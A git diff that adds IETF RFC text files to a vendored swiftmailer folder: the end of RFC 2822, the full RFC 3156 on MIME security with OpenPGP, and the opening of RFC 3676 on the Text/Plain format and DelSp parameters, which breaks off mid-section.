+ This appendix contains a list of changes that have been made in the + Internet Message Format from earlier standards, specifically [RFC822] + and [STD3]. Items marked with an asterisk (*) below are items which + appear in section 4 of this document and therefore can no longer be + generated. + + 1. Period allowed in obsolete form of phrase. + 2. ABNF moved out of document to [RFC2234]. + 3. Four or more digits allowed for year. + 4. Header field ordering (and lack thereof) made explicit. + 5. Encrypted header field removed. + 6. Received syntax loosened to allow any token/value pair. + 7. Specifically allow and give meaning to "-0000" time zone. + 8. Folding white space is not allowed between every token. + 9. Requirement for destinations removed. + 10. Forwarding and resending redefined. + 11. Extension header fields no longer specifically called out. + 12. ASCII 0 (null) removed.* + 13. Folding continuation lines cannot contain only white space.* + 14. Free insertion of comments not allowed in date.* + 15. Non-numeric time zones not allowed.* + 16. Two digit years not allowed.* + 17. Three digit years interpreted, but not allowed for generation. + 18. Routes in addresses not allowed.* + 19. CFWS within local-parts and domains not allowed.* + 20. Empty members of address lists not allowed.* + + + +Resnick Standards Track [Page 49] + +RFC 2822 Internet Message Format April 2001 + + + 21. Folding white space between field name and colon not allowed.* + 22. Comments between field name and colon not allowed. + 23. Tightened syntax of in-reply-to and references.* + 24. CFWS within msg-id not allowed.* + 25. Tightened semantics of resent fields as informational only. + 26. Resent-Reply-To not allowed.* + 27. No multiple occurrences of fields (except resent and received).* + 28. Free CR and LF not allowed.* + 29. Routes in return path not allowed.* + 30. Line length limits specified. + 31. Bcc more clearly specified. + +Appendix C. Notices + + Intellectual Property + + The IETF takes no position regarding the validity or scope of any + intellectual property or other rights that might be claimed to + pertain to the implementation or use of the technology described in + this document or the extent to which any license under such rights + might or might not be available; neither does it represent that it + has made any effort to identify any such rights. Information on the + IETF's procedures with respect to rights in standards-track and + standards-related documentation can be found in BCP-11. Copies of + claims of rights made available for publication and any assurances of + licenses to be made available, or the result of an attempt made to + obtain a general license or permission for the use of such + proprietary rights by implementors or users of this specification can + be obtained from the IETF Secretariat. + + + + + + + + + + + + + + + + + + + + + + +Resnick Standards Track [Page 50] + +RFC 2822 Internet Message Format April 2001 + + +Full Copyright Statement + + Copyright (C) The Internet Society (2001). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Acknowledgement + + Funding for the RFC Editor function is currently provided by the + Internet Society. + + + + + + + + + + + + + + + + + + + +Resnick Standards Track [Page 51] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc3156.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc3156.txt new file mode 100644 index 00000000..c8ca1d5f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc3156.txt @@ -0,0 +1,842 @@ + + + + + +Network Working Group M. Elkins +Request for Comments: 3156 Network Associates, Inc. +Updates: 2015 D. Del Torto +Category: Standards Track CryptoRights Foundation + R. Levien + University of California at Berkeley + T. Roessler + August 2001 + + + MIME Security with OpenPGP + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (2001). All Rights Reserved. + +Abstract + + This document describes how the OpenPGP Message Format can be used to + provide privacy and authentication using the Multipurpose Internet + Mail Extensions (MIME) security content types described in RFC 1847. + +1. Introduction + + Work on integrating PGP (Pretty Good Privacy) with MIME [3] + (including the since withdrawn "application/pgp" content type) prior + to RFC 2015 suffered from a number of problems, the most significant + of which is the inability to recover signed message bodies without + parsing data structures specific to PGP. RFC 2015 makes use of the + elegant solution proposed in RFC 1847, which defines security + multipart formats for MIME. The security multiparts clearly separate + the signed message body from the signature, and have a number of + other desirable properties. This document revises RFC 2015 to adopt + the integration of PGP and MIME to the needs which emerged during the + work on the OpenPGP specification. + + This document defines three content types for implementing security + and privacy with OpenPGP: "application/pgp-encrypted", + "application/pgp-signature" and "application/pgp-keys". + + + + +Elkins, et al. Standards Track [Page 1] + +RFC 3156 MIME Security with OpenPGP August 2001 + + + The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", + "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this + document are to be interpreted as described in RFC 2119. + +2. OpenPGP data formats + + OpenPGP implementations can generate either ASCII armor (described in + [1]) or 8-bit binary output when encrypting data, generating a + digital signature, or extracting public key data. The ASCII armor + output is the REQUIRED method for data transfer. This allows those + users who do not have the means to interpret the formats described in + this document to be able to extract and use the OpenPGP information + in the message. + + When the amount of data to be transmitted requires that it be sent in + many parts, the MIME message/partial mechanism SHOULD be used rather + than the multi-part ASCII armor OpenPGP format. + +3. Content-Transfer-Encoding restrictions + + Multipart/signed and multipart/encrypted are to be treated by agents + as opaque, meaning that the data is not to be altered in any way [2], + [7]. However, many existing mail gateways will detect if the next + hop does not support MIME or 8-bit data and perform conversion to + either Quoted-Printable or Base64. This presents serious problems + for multipart/signed, in particular, where the signature is + invalidated when such an operation occurs. For this reason all data + signed according to this protocol MUST be constrained to 7 bits (8- + bit data MUST be encoded using either Quoted-Printable or Base64). + Note that this also includes the case where a signed object is also + encrypted (see section 6). This restriction will increase the + likelihood that the signature will be valid upon receipt. + + Additionally, implementations MUST make sure that no trailing + whitespace is present after the MIME encoding has been applied. + + Note: In most cases, trailing whitespace can either be removed, or + protected by applying an appropriate content-transfer-encoding. + However, special care must be taken when any header lines - either + in MIME entity headers, or in embedded RFC 822 headers - are + present which only consist of whitespace: Such lines must be + removed entirely, since replacing them by empty lines would turn + them into header delimiters, and change the semantics of the + message. The restrictions on whitespace are necessary in order to + make the hash calculated invariant under the text and binary mode + signature mechanisms provided by OpenPGP [1]. Also, they help to + avoid compatibility problems with PGP implementations which + predate the OpenPGP specification. + + + +Elkins, et al. Standards Track [Page 2] + +RFC 3156 MIME Security with OpenPGP August 2001 + + + Note: If any line begins with the string "From ", it is strongly + suggested that either the Quoted-Printable or Base64 MIME encoding + be applied. If Quoted-Printable is used, at least one of the + characters in the string should be encoded using the hexadecimal + coding rule. This is because many mail transfer and delivery + agents treat "From " (the word "from" followed immediately by a + space character) as the start of a new message and thus insert a + right angle-bracket (>) in front of any line beginning with + "From " to distinguish this case, invalidating the signature. + + Data that is ONLY to be encrypted is allowed to contain 8-bit + characters and trailing whitespace and therefore need not undergo the + conversion to a 7bit format, and the stripping of whitespace. + + Implementor's note: It cannot be stressed enough that applications + using this standard follow MIME's suggestion that you "be + conservative in what you generate, and liberal in what you + accept." In this particular case it means it would be wise for an + implementation to accept messages with any content-transfer- + encoding, but restrict generation to the 7-bit format required by + this memo. This will allow future compatibility in the event the + Internet SMTP framework becomes 8-bit friendly. + +4. OpenPGP encrypted data + + Before OpenPGP encryption, the data is written in MIME canonical + format (body and headers). + + OpenPGP encrypted data is denoted by the "multipart/encrypted" + content type, described in [2], and MUST have a "protocol" parameter + value of "application/pgp-encrypted". Note that the value of the + parameter MUST be enclosed in quotes. + + The multipart/encrypted MIME body MUST consist of exactly two body + parts, the first with content type "application/pgp-encrypted". This + body contains the control information. A message complying with this + standard MUST contain a "Version: 1" field in this body. Since the + OpenPGP packet format contains all other information necessary for + decrypting, no other information is required here. + + The second MIME body part MUST contain the actual encrypted data. It + MUST be labeled with a content type of "application/octet-stream". + + Example message: + + From: Michael Elkins + To: Michael Elkins + Mime-Version: 1.0 + + + +Elkins, et al. Standards Track [Page 3] + +RFC 3156 MIME Security with OpenPGP August 2001 + + + Content-Type: multipart/encrypted; boundary=foo; + protocol="application/pgp-encrypted" + + --foo + Content-Type: application/pgp-encrypted + + Version: 1 + + --foo + Content-Type: application/octet-stream + + -----BEGIN PGP MESSAGE----- + Version: 2.6.2 + + hIwDY32hYGCE8MkBA/wOu7d45aUxF4Q0RKJprD3v5Z9K1YcRJ2fve87lMlDlx4Oj + eW4GDdBfLbJE7VUpp13N19GL8e/AqbyyjHH4aS0YoTk10QQ9nnRvjY8nZL3MPXSZ + g9VGQxFeGqzykzmykU6A26MSMexR4ApeeON6xzZWfo+0yOqAq6lb46wsvldZ96YA + AABH78hyX7YX4uT1tNCWEIIBoqqvCeIMpp7UQ2IzBrXg6GtukS8NxbukLeamqVW3 + 1yt21DYOjuLzcMNe/JNsD9vDVCvOOG3OCi8= + =zzaA + -----END PGP MESSAGE----- + + --foo-- + +5. OpenPGP signed data + + OpenPGP signed messages are denoted by the "multipart/signed" content + type, described in [2], with a "protocol" parameter which MUST have a + value of "application/pgp-signature" (MUST be quoted). + + The "micalg" parameter for the "application/pgp-signature" protocol + MUST contain exactly one hash-symbol of the format "pgp-", where identifies the Message + Integrity Check (MIC) algorithm used to generate the signature. + Hash-symbols are constructed from the text names registered in [1] or + according to the mechanism defined in that document by converting the + text name to lower case and prefixing it with the four characters + "pgp-". + + Currently defined values are "pgp-md5", "pgp-sha1", "pgp-ripemd160", + "pgp-md2", "pgp-tiger192", and "pgp-haval-5-160". + + The multipart/signed body MUST consist of exactly two parts. The + first part contains the signed data in MIME canonical format, + including a set of appropriate content headers describing the data. + + The second body MUST contain the OpenPGP digital signature. It MUST + be labeled with a content type of "application/pgp-signature". + + + +Elkins, et al. Standards Track [Page 4] + +RFC 3156 MIME Security with OpenPGP August 2001 + + + Note: Implementations can either generate "signatures of a + canonical text document" or "signatures of a binary document", as + defined in [1]. The restrictions on the signed material put forth + in section 3 and in this section will make sure that the various + MIC algorithm variants specified in [1] and [5] will all produce + the same result. + + When the OpenPGP digital signature is generated: + + (1) The data to be signed MUST first be converted to its content- + type specific canonical form. For text/plain, this means + conversion to an appropriate character set and conversion of + line endings to the canonical sequence. + + (2) An appropriate Content-Transfer-Encoding is then applied; see + section 3. In particular, line endings in the encoded data + MUST use the canonical sequence where appropriate + (note that the canonical line ending may or may not be present + on the last line of encoded data and MUST NOT be included in + the signature if absent). + + (3) MIME content headers are then added to the body, each ending + with the canonical sequence. + + (4) As described in section 3 of this document, any trailing + whitespace MUST then be removed from the signed material. + + (5) As described in [2], the digital signature MUST be calculated + over both the data to be signed and its set of content headers. + + (6) The signature MUST be generated detached from the signed data + so that the process does not alter the signed data in any way. + + Note: The accepted OpenPGP convention is for signed data to end + with a sequence. Note that the sequence + immediately preceding a MIME boundary delimiter line is considered + to be part of the delimiter in [3], 5.1. Thus, it is not part of + the signed data preceding the delimiter line. An implementation + which elects to adhere to the OpenPGP convention has to make sure + it inserts a pair on the last line of the data to be + signed and transmitted (signed message and transmitted message + MUST be identical). + + Example message: + + From: Michael Elkins + To: Michael Elkins + Mime-Version: 1.0 + + + +Elkins, et al. Standards Track [Page 5] + +RFC 3156 MIME Security with OpenPGP August 2001 + + + Content-Type: multipart/signed; boundary=bar; micalg=pgp-md5; + protocol="application/pgp-signature" + + --bar + & Content-Type: text/plain; charset=iso-8859-1 + & Content-Transfer-Encoding: quoted-printable + & + & =A1Hola! + & + & Did you know that talking to yourself is a sign of senility? + & + & It's generally a good idea to encode lines that begin with + & From=20because some mail transport agents will insert a greater- + & than (>) sign, thus invalidating the signature. + & + & Also, in some cases it might be desirable to encode any =20 + & trailing whitespace that occurs on lines in order to ensure =20 + & that the message signature is not invalidated when passing =20 + & a gateway that modifies such whitespace (like BITNET). =20 + & + & me + + --bar + + Content-Type: application/pgp-signature + + -----BEGIN PGP MESSAGE----- + Version: 2.6.2 + + iQCVAwUBMJrRF2N9oWBghPDJAQE9UQQAtl7LuRVndBjrk4EqYBIb3h5QXIX/LC// + jJV5bNvkZIGPIcEmI5iFd9boEgvpirHtIREEqLQRkYNoBActFBZmh9GC3C041WGq + uMbrbxc+nIs1TIKlA08rVi9ig/2Yh7LFrK5Ein57U/W72vgSxLhe/zhdfolT9Brn + HOxEa44b+EI= + =ndaj + -----END PGP MESSAGE----- + + --bar-- + + The "&"s in the previous example indicate the portion of the data + over which the signature was calculated. + + Upon receipt of a signed message, an application MUST: + + (1) Convert line endings to the canonical sequence before + the signature can be verified. This is necessary since the + local MTA may have converted to a local end of line convention. + + + + + +Elkins, et al. Standards Track [Page 6] + +RFC 3156 MIME Security with OpenPGP August 2001 + + + (2) Pass both the signed data and its associated content headers + along with the OpenPGP signature to the signature verification + service. + +6. Encrypted and Signed Data + + Sometimes it is desirable to both digitally sign and then encrypt a + message to be sent. This protocol allows for two methods of + accomplishing this task. + +6.1. RFC 1847 Encapsulation + + In [2], it is stated that the data is first signed as a + multipart/signature body, and then encrypted to form the final + multipart/encrypted body. This is most useful for standard MIME- + compliant message forwarding. + + Example: + + Content-Type: multipart/encrypted; + protocol="application/pgp-encrypted"; boundary=foo + + --foo + Content-Type: application/pgp-encrypted + + Version: 1 + + --foo + Content-Type: application/octet-stream + + -----BEGIN PGP MESSAGE----- + & Content-Type: multipart/signed; micalg=pgp-md5 + & protocol="application/pgp-signature"; boundary=bar + & + & --bar + & Content-Type: text/plain; charset=us-ascii + & + & This message was first signed, and then encrypted. + & + & --bar + & Content-Type: application/pgp-signature + & + & -----BEGIN PGP MESSAGE----- + & Version: 2.6.2 + & + & iQCVAwUBMJrRF2N9oWBghPDJAQE9UQQAtl7LuRVndBjrk4EqYBIb3h5QXIX/LC// + & jJV5bNvkZIGPIcEmI5iFd9boEgvpirHtIREEqLQRkYNoBActFBZmh9GC3C041WGq + & uMbrbxc+nIs1TIKlA08rVi9ig/2Yh7LFrK5Ein57U/W72vgSxLhe/zhdfolT9Brn + + + +Elkins, et al. Standards Track [Page 7] + +RFC 3156 MIME Security with OpenPGP August 2001 + + + & HOxEa44b+EI= + & =ndaj + & -----END PGP MESSAGE----- + & + & --bar-- + -----END PGP MESSAGE----- + + --foo-- + + (The text preceded by '&' indicates that it is really encrypted, but + presented as text for clarity.) + +6.2. Combined method + + The OpenPGP packet format [1] describes a method for signing and + encrypting data in a single OpenPGP message. This method is allowed + in order to reduce processing overhead and increase compatibility + with non-MIME implementations of OpenPGP. The resulting data is + formatted as a "multipart/encrypted" object as described in Section + 4. + + Messages which are encrypted and signed in this combined fashion are + REQUIRED to follow the same canonicalization rules as + multipart/signed objects. + + It is explicitly allowed for an agent to decrypt a combined message + and rewrite it as a multipart/signed object using the signature data + embedded in the encrypted version. + +7. Distribution of OpenPGP public keys + + Content-Type: application/pgp-keys + Required parameters: none + Optional parameters: none + + A MIME body part of the content type "application/pgp-keys" contains + ASCII-armored transferable Public Key Packets as defined in [1], + section 10.1. + +8. Security Considerations + + Signatures of a canonical text document as defined in [1] ignore + trailing white space in signed material. Implementations which + choose to use signatures of canonical text documents will not be able + to detect the addition of whitespace in transit. + + See [3], [4] for more information on the security considerations + concerning the underlying protocols. + + + +Elkins, et al. Standards Track [Page 8] + +RFC 3156 MIME Security with OpenPGP August 2001 + + +9. IANA Considerations + + This document defines three media types: "application/pgp-encrypted", + "application/pgp-signature" and "application/pgp-keys". The + following sections specify the IANA registrations for these types. + +9.1. Registration of the application/pgp-encrypted media type + + MIME media type name: application + MIME subtype name: pgp-encrypted + Required parameters: none + Optional parameters: none + + Encoding considerations: + + Currently this media type always consists of a single 7bit text + string. + + Security considerations: + + See Section 8 and RFC 2440 Section 13. + + Interoperability considerations: none + + Published specification: + + This document. + + Additional information: + + Magic number(s): none + File extension(s): none + Macintosh File Type Code(s): none + + Person & email address to contact for further information: + + Michael Elkins + Email: me@cs.hmc.edu + + Intended usage: common + + Author/Change controller: + + Michael Elkins + Email: me@cs.hmc.edu + + + + + + +Elkins, et al. Standards Track [Page 9] + +RFC 3156 MIME Security with OpenPGP August 2001 + + +9.2. Registration of the application/pgp-signature media type + + MIME media type name: application + MIME subtype name: pgp-signature + Required parameters: none + Optional parameters: none + + Encoding considerations: + + The content of this media type always consists of 7bit text. + + Security considerations: + + See Section 8 and RFC 2440 Section 13. + + Interoperability considerations: none + + Published specification: + + RFC 2440 and this document. + + Additional information: + + Magic number(s): none + File extension(s): asc, sig + Macintosh File Type Code(s): pgDS + + Person & email address to contact for further information: + + Michael Elkins + Email: me@cs.hmc.edu + + Intended usage: common + + Author/Change controller: + + Michael Elkins + Email: me@cs.hmc.edu + +9.3. Registration of the application/pgp-keys media type + + MIME media type name: application + MIME subtype name: pgp-keys + Required parameters: none + Optional parameters: none + + + + + + +Elkins, et al. Standards Track [Page 10] + +RFC 3156 MIME Security with OpenPGP August 2001 + + + Encoding considerations: + + The content of this media type always consists of 7bit text. + + Security considerations: + + See Section 8 and RFC 2440 Section 13. + + Interoperability considerations: none + + Published specification: + + RFC 2440 and this document. + + Additional information: + + Magic number(s): none + File extension(s): asc + Macintosh File Type Code(s): none + + Person & email address to contact for further information: + + Michael Elkins + Email: me@cs.hmc.edu + + Intended usage: common + + Author/Change controller: + + Michael Elkins + Email: me@cs.hmc.edu + + + + + + + + + + + + + + + + + + + + +Elkins, et al. Standards Track [Page 11] + +RFC 3156 MIME Security with OpenPGP August 2001 + + +10. Notes + + "PGP" and "Pretty Good Privacy" are registered trademarks of Network + Associates, Inc. + +11. Acknowledgements + + This document relies on the work of the IETF's OpenPGP Working + Group's definitions of the OpenPGP Message Format. The OpenPGP + message format is currently described in RFC 2440 [1]. + + Special thanks are due: to Philip Zimmermann for his original and + ongoing work on PGP; to Charles Breed, Jon Callas and Dave Del Torto + for originally proposing the formation of the OpenPGP Working Group; + and to Steve Schoenfeld for helpful feedback during the draft + process. The authors would also like to thank the engineers at + Pretty Good Privacy, Inc (now Network Associates, Inc), including + Colin Plumb, Hal Finney, Jon Callas, Mark Elrod, Mark Weaver and + Lloyd Chambers, for their technical commentary. + + Additional thanks are due to Jeff Schiller and Derek Atkins for their + continuing support of strong cryptography and PGP freeware at MIT; to + Rodney Thayer of Sable Technology; to John Noerenberg, Steve Dorner + and Laurence Lundblade of the Eudora team at QUALCOMM, Inc; to Bodo + Moeller for proposing the approach followed with respect to trailing + whitespace; to John Gilmore, Hugh Daniel and Fred Ringel (at + Rivertown) and Ian Bell (at Turnpike) for their timely critical + commentary; and to the international members of the IETF's OpenPGP + mailing list, including William Geiger, Lutz Donnerhacke and Kazu + Yamamoto. The idea to use multipart/mixed with multipart/signed has + been attributed to James Galvin. Finally, our gratitude is due to + the many members of the "Cypherpunks," "Coderpunks" and "pgp-users" + mailing lists and the many users + of PGP worldwide for helping keep the path to privacy open. + + + + + + + + + + + + + + + + + +Elkins, et al. Standards Track [Page 12] + +RFC 3156 MIME Security with OpenPGP August 2001 + + +12. Addresses of the Authors and OpenPGP Working Group Chair + + The OpenPGP working group can be contacted via the current chair: + + John W. Noerenberg II + Qualcomm, Inc. + 5775 Morehouse Dr. + San Diego, CA 92121 USA + + Phone: +1 619 658 3510 + EMail: jwn2@qualcomm.com + + The principal authors of this document are: + + Dave Del Torto + CryptoRights Foundation + 80 Alviso Street, Mailstop: CRF + San Francisco, CA 94127 USA + + Phone: +1.415.334.5533, vm: #2 + EMail: ddt@cryptorights.org, ddt@openpgp.net + + + Michael Elkins + Network Associates, Inc. + 3415 S. Sepulveda Blvd Suite 700 + Los Angeles, CA 90034 USA + + Phone: +1.310.737.1663 + Fax: +1.310.737.1755 + Email: me@cs.hmc.edu, Michael_Elkins@NAI.com + + + Raph Levien + University of California at Berkeley + 579 Soda Hall + Berkeley, CA 94720 USA + + Phone: +1.510.642.6509 + EMail: raph@acm.org + + + Thomas Roessler + Nordstrasse 99 + D-53111 Bonn, Germany + + Phone: +49-228-638007 + EMail: roessler@does-not-exist.org + + + +Elkins, et al. Standards Track [Page 13] + +RFC 3156 MIME Security with OpenPGP August 2001 + + +References + + [1] Callas, J., Donnerhacke, L., Finney, H. and R. Thayer, "OpenPGP + Message Format", RFC 2440, November 1998. + + [2] Galvin, J., Murphy, G., Crocker, S. and N. Freed, "Security + Multiparts for MIME: Multipart/Signed and Multipart/Encrypted", + RFC 1847, October 1995. + + [3] Freed, N. and N. Borenstein, "Multipurpose Internet Mail + Extensions (MIME) Part Two: Media Types", RFC 2046, November + 1996. + + [4] Galvin, J., Murphy, G., Crocker, S. and N. Freed, "MIME Object + Security Services", RFC 1848, October 1995. + + [5] Atkins, D., Stallings, W. and P. Zimmermann, "PGP Message + Exchange Formats", RFC 1991, August 1996. + + [6] Elkins, M., "MIME Security with Pretty Good Privacy (PGP)", RFC + 2015, October 1996. + + [7] Freed, N., "Gateways and MIME Security Multiparts", RFC 2480, + January 1999. + + + + + + + + + + + + + + + + + + + + + + + + + + + +Elkins, et al. Standards Track [Page 14] + +RFC 3156 MIME Security with OpenPGP August 2001 + + +Full Copyright Statement + + Copyright (C) The Internet Society (2001). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Acknowledgement + + Funding for the RFC Editor function is currently provided by the + Internet Society. + + + + + + + + + + + + + + + + + + + +Elkins, et al. Standards Track [Page 15] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc3676.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc3676.txt new file mode 100644 index 00000000..bc08fba7 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc3676.txt @@ -0,0 +1,1123 @@ + + + + + + +Network Working Group R. Gellens +Request for Comments: 3676 Qualcomm +Obsoletes: 2646 February 2004 +Category: Standards Track + + + The Text/Plain Format and DelSp Parameters + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (2004). All Rights Reserved. + +Abstract + + This specification establishes two parameters (Format and DelSP) to + be used with the Text/Plain media type. In the presence of these + parameters, trailing whitespace is used to indicate flowed lines and + a canonical quote indicator is used to indicate quoted lines. This + results in an encoding which appears as normal Text/Plain in older + implementations, since it is in fact normal Text/Plain, yet provides + for superior wrapping/flowing, and quoting. + + This document supersedes the one specified in RFC 2646, "The + Text/Plain Format Parameter", and adds the DelSp parameter to + accommodate languages/coded character sets in which ASCII spaces are + not used or appear rarely. + +Table of Contents + + 1. Introduction. . . . . . . . . . . . . . . . . . . . . . . . . 2 + 2. Conventions Used in this Document . . . . . . . . . . . . . . 2 + 3. The Problem . . . . . . . . . . . . . . . . . . . . . . . . . 3 + 3.1. Paragraph Text. . . . . . . . . . . . . . . . . . . . . 3 + 3.2. Embarrassing Line Wrap . . . . . . . . . . . . . . . . 3 + 3.3. New Media Types . . . . . . . . . . . . . . . . . . . . 4 + 4. The Format and DelSp Parameters . . . . . . . . . . . . . . . 5 + 4.1. Interpreting Format=Flowed. . . . . . . . . . . . . . . 6 + 4.2. Generating Format=Flowed . . . . . . . . . . . . . . . 7 + 4.3. Usenet Signature Convention . . . . . . . . . . . . . . 9 + 4.4. Space-Stuffing . . . . . . . . . . . . . . . . . . . . 9 + + + +Gellens Standards Track [Page 1] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + 4.5. Quoting . . . . . . . . . . . . . . . . . . . . . . . . 9 + 4.6. Digital Signatures and Encryption . . . . . . . . . . . 11 + 4.7. Examples. . . . . . . . . . . . . . . . . . . . . . . . 12 + 5. Interoperability. . . . . . . . . . . . . . . . . . . . . . . 12 + 6. ABNF. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 + 7. Failure Modes . . . . . . . . . . . . . . . . . . . . . . . . 14 + 7.1. Trailing White Space Corruption . . . . . . . . . . . . 14 + 8. Security Considerations . . . . . . . . . . . . . . . . . . . 15 + 9. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 15 + 10. Internationalization Considerations . . . . . . . . . . . . . 15 + 11. Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . 15 + 12. Normative References. . . . . . . . . . . . . . . . . . . . . 16 + 13. Informative References. . . . . . . . . . . . . . . . . . . . 16 + Appendix A: Changes from RFC 2646 . . . . . . . . . . . . . . . . 18 + Author's Address. . . . . . . . . . . . . . . . . . . . . . . . . 19 + Full Copyright Statement. . . . . . . . . . . . . . . . . . . . . 20 + +1. Introduction + + Interoperability problems have been observed with erroneous labelling + of paragraph text as Text/Plain, and with various forms of + "embarrassing line wrap". (See Section 3.) + + Attempts to deploy new media types, such as Text/Enriched [Rich] and + Text/HTML [HTML] have suffered from a lack of backwards compatibility + and an often hostile user reaction at the receiving end. + + What is required is a format which is in all significant ways + Text/Plain, and therefore is quite suitable for display as + Text/Plain, and yet allows the sender to express to the receiver + which lines are quoted and which lines are considered a logical + paragraph, and thus eligible to be flowed (wrapped and joined) as + appropriate. + +2. Conventions Used in this Document + + The key words "REQUIRED", "MUST", "MUST NOT", "SHOULD", "SHOULD NOT", + and "MAY" in this document are to be interpreted as described in "Key + words for use in RFCs to Indicate Requirement Levels" [KEYWORDS]. + + The term "paragraph" is used here to mean a series of lines which are + logically to be treated as a unit for display purposes and eligible + to be flowed (wrapped and joined) as appropriate to fit in the + display window and when creating text for replies, forwarding, etc. + + + + + + + +Gellens Standards Track [Page 2] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + +3. The Problem + + The Text/Plain media type is the lowest common denominator of + Internet email, with lines of no more than 998 characters (by + convention usually no more than 78), and where the carriage-return + and line-feed (CRLF) sequence represents a line break (see [MIME-IMT] + and [MSG-FMT]). + + Text/Plain is usually displayed as preformatted text, often in a + fixed font. That is, the characters start at the left margin of the + display window, and advance to the right until a CRLF sequence is + seen, at which point a new line is started, again at the left margin. + When a line length exceeds the display window, some clients will wrap + the line, while others invoke a horizontal scroll bar. + + Text which meets this description is defined by this memo as "fixed". + + Some interoperability problems have been observed with this format: + +3.1. Paragraph Text + + Many modern programs use a proportional-spaced font, and use CRLF to + represent paragraph breaks. Line breaks are "soft", occurring as + needed on display. That is, characters are grouped into a paragraph + until a CRLF sequence is seen, at which point a new paragraph is + started. Each paragraph is displayed, starting at the left margin + (or paragraph indent), and continuing to the right until a word is + encountered which does not fit in the remaining display width. This + word is displayed at the left margin of the next line. This + continues until the paragraph ends (a CRLF is seen). Extra vertical + space is left between paragraphs. + + Text which meets this description is defined by this memo as + "flowed". + + Numerous software products erroneously label this format as + Text/Plain, resulting in much user discomfort. + +3.2. Embarrassing Line Wrap + + As Text/Plain messages are quoted in replies or forwarded messages, + each line gradually increases in length, eventually being arbitrarily + hard wrapped, resulting in "embarrassing line wrap". This produces + text which is, at best, hard to read, and often confuses + attributions. + + + + + + +Gellens Standards Track [Page 3] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + Example: + + >>>>>>This is a comment from the first message to show a + >quoting example. + >>>>>This is a comment from the second message to show a + >quoting example. + >>>>This is a comment from the third message. + >>>This is a comment from the fourth message. + + It can be confusing to assign attribution to lines 2 and 4 above. + + In addition, as devices with display widths smaller than 79 or 80 + characters become more popular, embarrassing line wrap has become + even more prevalent, even with unquoted text. + + Example: + + This is paragraph text that is + meant to be flowed across + several lines. + However, the sending mailer is + converting it to fixed text at + a width of 72 + characters, which causes it to + look like this when shown on a + PDA with only + 30 character lines. + +3.3. New Media Types + + Attempts to deploy new media types, such as Text/Enriched [Rich] and + Text/HTML [HTML] have suffered from a lack of backwards compatibility + and an often hostile user reaction at the receiving end. + + In particular, Text/Enriched requires that open angle brackets ("<") + and hard line breaks be doubled, with resulting user unhappiness when + viewed as Text/Plain. Text/HTML requires even more alteration of + text, with a corresponding increase in user complaints. + + A proposal to define a new media type to explicitly represent the + paragraph form suffered from a lack of interoperability with + currently deployed software. Some programs treat unknown subtypes of + TEXT as an attachment. + + + + + + + + +Gellens Standards Track [Page 4] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + What is desired is a format which is in all significant ways + Text/Plain, and therefore is quite suitable for display as + Text/Plain, and yet allows the sender to express to the receiver + which lines can be considered a logical paragraph, and thus flowed + (wrapped and joined) as appropriate. + +4. The Format and DelSp Parameters + + This specification defines two MIME parameters for use with + Text/Plain: + + Name: Format + Value: Fixed, Flowed + + Name: DelSp + Value: 